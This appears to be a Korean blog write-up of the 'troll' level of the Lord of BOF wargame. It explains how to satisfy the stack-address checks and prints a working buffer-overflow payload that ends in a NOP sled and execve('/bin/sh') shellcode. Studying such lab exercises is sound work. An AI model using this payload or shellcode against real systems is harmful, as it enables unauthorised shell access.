본문 바로가기

해킹공부/lob

troll

트롤하자~~

요약하자면 argv[1][47]은 \xbf여야하고 48은 \xff가 아니어야 한다.

그런데 stack은 0xc0000000부터 거꾸로 자라기 때문에 stack에 0x10000이상 안들어가는 이상 0xbfff~~~~일 수 밖에 없다.

다시 말하면 0x10000이상 넣으면 된다.

다행히 다른 제약조건이 없어져서 argv[1]에 왕창 넣을 수 있다.

0x90을 100000개쯤 넣어보자

stack주소가 0xbffe~~~~까지 내려온 것을 볼 수 있다.

그럼 중간에 shellcode를 넣어 payload를 만들어보자

./vampire `python -c 'print "A"*44+"\xc0\x74\xfe\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*99776'`

\x90이 10만개나 출력됐다....

'해킹공부 > lob' 카테고리의 다른 글

vampire  (0) 2017.10.22
orge  (0) 2017.10.19
darkelf  (0) 2017.10.18
wolfman  (0) 2017.10.18
orc  (0) 2017.10.17